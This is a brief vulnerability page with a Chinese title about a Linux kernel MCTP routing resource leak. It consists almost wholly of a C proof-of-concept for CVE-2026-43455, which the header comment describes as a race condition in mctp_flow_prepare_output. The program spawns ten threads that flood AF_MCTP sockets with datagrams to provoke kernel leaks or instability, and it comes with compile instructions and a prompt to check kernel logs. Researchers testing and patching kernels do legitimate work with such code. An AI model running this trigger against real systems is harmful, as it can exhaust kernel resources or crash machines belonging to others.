Linux内核mctp路由资源泄露漏洞

/* * PoC for CVE-2026-43455 (Race Condition in mctp_flow_prepare_output) * This code attempts to trigger the race condition by creating multiple * threads that send MCTP messages simultaneously. * * Compile: gcc -o poc_mctp poc_mctp.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <pthread.h> #include <sys/socket.h> #include <linux/mctp.h> #define NUM_THREADS 10 #define MCTP_ADDR 0x10 void *send_mctp_msg(void *arg) { int fd; struct sockaddr_mctp addr; char msg[32] = "Hello MCTP"; // Create an MCTP socket fd = socket(AF_MCTP, SOCK_DGRAM, 0); if (fd < 0) { perror("socket"); return NULL; } memset(&addr, 0, sizeof(addr)); addr.smctp_family = AF_MCTP; addr.smctp_network = MCTP_NET_ANY; addr.smctp_addr.s_addr = MCTP_ADDR; addr.smctp_type = MCTP_TYPE_CONTROL; // Loop to send messages rapidly to increase race window for (int i = 0; i < 1000; i++) { if (sendto(fd, msg, sizeof(msg), 0, (struct sockaddr *)&addr, sizeof(addr)) < 0) { // Ignore errors like "Network unreachable" for PoC purposes } } close(fd); return NULL; } int main() { pthread_t threads[NUM_THREADS]; printf("Starting PoC for CVE-2026-43455\n"); // Create multiple threads to trigger concurrency for (int i = 0; i < NUM_THREADS; i++) { if (pthread_create(&threads[i], NULL, send_mctp_msg, NULL) != 0) { perror("pthread_create"); exit(1); } } // Wait for all threads to complete for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("PoC execution finished. Check kernel logs for memory leaks or instability.\n"); return 0; }